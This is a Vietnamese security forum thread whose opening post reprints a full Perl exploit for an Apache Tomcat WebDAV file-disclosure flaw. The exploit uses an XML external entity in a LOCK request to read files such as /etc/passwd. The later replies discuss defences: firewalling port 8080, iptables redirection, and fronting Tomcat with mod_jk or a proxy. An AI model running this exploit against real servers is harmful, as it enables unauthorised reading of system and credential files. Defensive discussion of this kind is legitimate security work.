banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Apache Tomcat File Disclosure (Exploit)  XML
  [Announcement]   Apache Tomcat File Disclosure (Exploit) 26/10/2007 20:08:52 (+0700) | #1 | 93126
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Nguồn: http://www.milw0rm.com/exploits/4530
Đăng lại ở Securiteam: http://www.securiteam.com/exploits/6S00D1FK0K.html

Code:
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
	print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
	print "kcdarookie aka eliteb0y / 2007\n";
	print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
	print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns: D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
	$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
	print;
}


Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần.

Tips:

- config Tomcat HTTP connector cho localhost, not all interfaces.
- filter port 8080 trên firewall.
- dùng mod_jk hoặc proxy đứng trước Tomcat.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 28/10/2007 06:41:25 (+0700) | #2 | 93443
[Avatar]
K4i
Moderator

Joined: 18/04/2006 09:32:13
Messages: 635
Location: Underground
Offline
[Profile] [PM]
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu smilie)
Sống là để không chết chứ không phải để trở thành anh hùng
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 28/10/2007 09:49:03 (+0700) | #3 | 93467
FaL
Moderator

Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
[Profile] [PM]

K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu smilie


Tớ nghĩ là bồ đoán nhầm.

Bản Apache này có tên là Tomcat.

FaL
Hãy giữ một trái tim nóng và một cái đầu lạnh
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 28/10/2007 10:33:18 (+0700) | #4 | 93473
pnco
HVA Friend

Joined: 24/06/2005 16:33:48
Messages: 515
Offline
[Profile] [PM] [WWW]
Không nhầm đâu FaL, em để ý đoạn này:
- dùng mod_jk hoặc proxy đứng trước Tomcat.  

smilie
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 28/10/2007 20:04:12 (+0700) | #5 | 93521
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

FaL wrote:

K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu smilie


Tớ nghĩ là bồ đoán nhầm.

Bản Apache này có tên là Tomcat.

FaL 


Không phải đâu em.

Apache là tên của nhóm Apache và ứng dụng http của Apache nổi tiếng đến nỗi người ta quen gọi Apache để ám chỉ cho apache web (http).

Thật ra apache http và apache tomcat là hai ứng dụng hoàn toàn khác nhau. Lục lọi trên điễn dàn (hình như trong phần *nix) sẽ thấy có 1 bài anh nói về sự khác nhau giữa apache http và apache tomcat.

to K4i:
Có một số cách khác nhau.

1) dùng reverse proxy (như apache proxy, squid hoặc bất cứ reverse proxy appliance nào) để map từ port 80 (web) đến port 8080 (mặc định connector port của tomcat).

2) dùng apache http đứng trước apache tomcat và dùng mod_jk, một connector gắn liền apache web với apache tomcat xuyên qua AJP protocol.

Cả 2 đều nhằm 1 mục đích là không cho access trực tiếp đến cổng mặc định 8080 của tomcat.

Thân.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 29/10/2007 00:56:33 (+0700) | #6 | 93550
FaL
Moderator

Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
[Profile] [PM]
smilie Đúng là em chưa biết gì nhiều về web nên nhầm lẫn lung tung...

Hãy giữ một trái tim nóng và một cái đầu lạnh
[Up] [Print Copy]
  [Question]   Apache Tomcat File Disclosure (Exploit) 23/02/2008 04:21:37 (+0700) | #7 | 116156
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]

conmale wrote:
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần.

Tips:
- config Tomcat HTTP connector cho localhost, not all interfaces.
- filter port 8080 trên firewall.
- dùng mod_jk hoặc proxy đứng trước Tomcat. 


Hi anh conmale,

Em dùng mod_jk cho Tomcat, không dám dùng mod_proxy smilie

Theo như anh nói ở trên, anh dùng iptables chặn cổng 8080 để tránh bị exploit , theo suy nghĩ của em, ta sẽ không cần filter trên cổng 8080 mà em sẽ dùng kỹ thuật NAT (PREROUTING, POSTROUTING) trên iptables , mục đích của em là wwwect bất kỳ các request từ cổng 8080 sang cổng 80 . smilie

Em liều mạng như vậy được không anh smilie
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
  [Question]   Apache Tomcat File Disclosure (Exploit) 24/02/2008 03:50:52 (+0700) | #8 | 116320
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

Golden Autumn wrote:

conmale wrote:
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần.

Tips:
- config Tomcat HTTP connector cho localhost, not all interfaces.
- filter port 8080 trên firewall.
- dùng mod_jk hoặc proxy đứng trước Tomcat. 


Hi anh conmale,

Em dùng mod_jk cho Tomcat, không dám dùng mod_proxy smilie

Theo như anh nói ở trên, anh dùng iptables chặn cổng 8080 để tránh bị exploit , theo suy nghĩ của em, ta sẽ không cần filter trên cổng 8080 mà em sẽ dùng kỹ thuật NAT (PREROUTING, POSTROUTING) trên iptables , mục đích của em là wwwect bất kỳ các request từ cổng 8080 sang cổng 80 . smilie

Em liều mạng như vậy được không anh smilie  


Được quá đi chớ smilie. Em biết lý do tại sao được không?
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 24/02/2008 12:18:14 (+0700) | #9 | 116380
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]
###### NAT rules ######
echo "[+] Setting up NAT rules..."
#iptables -t nat -A PREROUTING -d 192.168.1.2 -p tcp --dport 8080 -j REDIRECT --to-ports 80 


Lệnh trên nó "nói" đây chính là "table nat" thuộc PREROUTING chain (PREROUTING chain được dùng để apply các rules trong bảng nat tức là quá trình nat sẽ được xữ lý trước khi thực hiện định tuyến) sau đó iptables cho phép các tcp package đi đến địa chỉ 192.168.1.2 ở cổng 8080 và sau đó nó chuyển package này đến cổng 80. Tức là iptables xữ lý các package trước khi nó chuyển đến cổng 80 .

Còn về phần nào em chưa hiểu mong anh dạy bảo smilie
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 24/02/2008 22:10:27 (+0700) | #10 | 116427
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

Golden Autumn wrote:
###### NAT rules ######
echo "[+] Setting up NAT rules..."
#iptables -t nat -A PREROUTING -d 192.168.1.2 -p tcp --dport 8080 -j REDIRECT --to-ports 80 


Lệnh trên nó "nói" đây chính là "table nat" thuộc PREROUTING chain (PREROUTING chain được dùng để apply các rules trong bảng nat tức là quá trình nat sẽ được xữ lý trước khi thực hiện định tuyến) sau đó iptables cho phép các tcp package đi đến địa chỉ 192.168.1.2 ở cổng 8080 và sau đó nó chuyển package này đến cổng 80. Tức là iptables xữ lý các package trước khi nó chuyển đến cổng 80 .

Còn về phần nào em chưa hiểu mong anh dạy bảo smilie  


Đúng rồi đó em. Gói tin có dport là 8080 đã bị wwwect đến 80 ở IP layer trước khi nó đi lên layer cao hơn. Bởi thế, kẻ tấn công không có cơ hội truy cập cổng 8080 (của Tomcat) mà luôn luôn bị "ép" phải đi xuyên qua cổng 80 (của apache httpd). Kết quả là không thực hiện được exploit "Tomcat remote file disclosure".

Thân.

PS: dạy bảo cái gì ku? Dạo này đổ ra khách sáo hả? smilie
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 25/02/2008 00:29:22 (+0700) | #11 | 116441
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]
Dạ, cách này em thấy cụ thể là ở HVA nhà ta nhất vì Tomcat mặc định chạy trên cổng 8080 sao HVA chỉ có mở cổng 80 , còn cổng 8080 anh conmale ổng "ém" ở đâu rồi cà . Theo phán đoán của em, có khả năng anh điều chỉnh như thế này .

- Mặc định các ứng dụng trong Tomcat được lưu trữ trong thư mục webapps cho nên có thể anh điều chỉnh appBase="webapps" thành /home/public_html/hvaonline (Vistual Hosting Tomcat và Apache). Sau đó anh điều chỉnh iptables lên là xong, nếu có request từ đâu đó gởi đến cổng 8080 thì lập tức iptables chặn lại và "thông báo cho request đó" biết rằng bad request .

- Hoặc có thể anh điều chỉnh port trong server.xml (cái này em chưa thử nghiệm lần nào cả) smilie

2 nhận định trên chỉ là suy đoán của em .

conmale wrote:
PS: dạy bảo cái gì ku? Dạo này đổ ra khách sáo hả? 


Em đâu có khách sáo đâu anh smilie mấy năm trời tự học với *nix, kiến thức thu thập được cũng nhờ sự giúp đỡ, hướng dẫn tận tình của anh cho nên anh là người thầy đầu tiên và HVA là thầy cuối cùng của em trong thế giới *nix . smilie
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 25/02/2008 02:33:53 (+0700) | #12 | 116458
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

Golden Autumn wrote:
Dạ, cách này em thấy cụ thể là ở HVA nhà ta nhất vì Tomcat mặc định chạy trên cổng 8080 sao HVA chỉ có mở cổng 80 , còn cổng 8080 anh conmale ổng "ém" ở đâu rồi cà . Theo phán đoán của em, có khả năng anh điều chỉnh như thế này .

- Mặc định các ứng dụng trong Tomcat được lưu trữ trong thư mục webapps cho nên có thể anh điều chỉnh appBase="webapps" thành /home/public_html/hvaonline (Vistual Hosting Tomcat và Apache). Sau đó anh điều chỉnh iptables lên là xong, nếu có request từ đâu đó gởi đến cổng 8080 thì lập tức iptables chặn lại và "thông báo cho request đó" biết rằng bad request .

- Hoặc có thể anh điều chỉnh port trong server.xml (cái này em chưa thử nghiệm lần nào cả) smilie

2 nhận định trên chỉ là suy đoán của em .
 

"Bật mí" cho một tí đây: smilie
- Cổng tomcat chỉnh thành cổng khác, không còn là 8080 (mod_jk connect đến cổng "khác" ấy).
- Firewall chặn hết, không cho truy cập đến cổng nào ngoài 80 (HTTP), 443 (HTTPS), 25 (SMTP) và 1 cổng SSH (không phải là cổng 22 smilie )
- appbase tương tự như em đoán.
- Truy cập đến cổng 8080 sẽ chậm như... con rùa và kết thúc với: "can't establish a connection"

Thân.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 25/02/2008 21:17:48 (+0700) | #13 | 116554
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]
Anh sợ tụi nó khai thác SSH exploit hay sao mà chỉnh cổng 22 sang cổng khác vậy anh ... yêu vì em thấy lạ ở chổ cách khai thác Apache Tomcat File Disclosure (Exploit) nó đâu có dính dáng đến cổng 22 hay cổng nào đó được gán cho secure shell đâu anh ?
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 25/02/2008 21:37:10 (+0700) | #14 | 116555
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

Golden Autumn wrote:
Anh sợ tụi nó khai thác SSH exploit hay sao mà chỉnh cổng 22 sang cổng khác vậy anh ... yêu vì em thấy lạ ở chổ cách khai thác Apache Tomcat File Disclosure (Exploit) nó đâu có dính dáng đến cổng 22 hay cổng nào đó được gán cho secure shell đâu anh ?  


À... cổng SSH (và các cổng khác) anh liệt kê trên bài trước là danh sách các cổng mở trên HVA (để ai muốn scan port khỏi phải mất công smilie ). Nó không có liên quan gì đến Tomcat exploit cả.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Apache Tomcat File Disclosure (Exploit) 25/02/2008 21:46:20 (+0700) | #15 | 116556
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]
Ra là vậy, "học trò" đã hiểu dụng ý của thầy . Cám ơn thầy smilie
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|